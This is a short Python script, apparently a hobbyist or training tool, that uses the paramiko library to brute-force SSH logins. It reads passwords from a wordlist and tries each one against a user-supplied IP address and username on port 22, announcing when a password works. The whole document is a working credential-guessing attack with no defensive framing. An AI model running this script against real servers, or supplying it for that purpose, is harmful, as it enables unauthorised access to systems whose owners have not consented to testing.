#!/usr/bin/env python

import paramiko
import sys
import os

target = str(input("IP address: "))
username = str(input("Username: "))
password_file = str(input("Location of password file: "))

def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        ssh.connect(target, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    ssh.close()
    return code

with open(password_file, 'rb') as _f:
    for line in _f.readlines():
        password = line.strip()
        print(password)
        try:
            response = ssh_connect(password)
            
            if response == 0 :
                print("[+] Password Found: " + password.decode())
                exit(0)
            if response == 1:
                print("[-] Nothing Found")
        except Exception as e:
            print(e)
        pass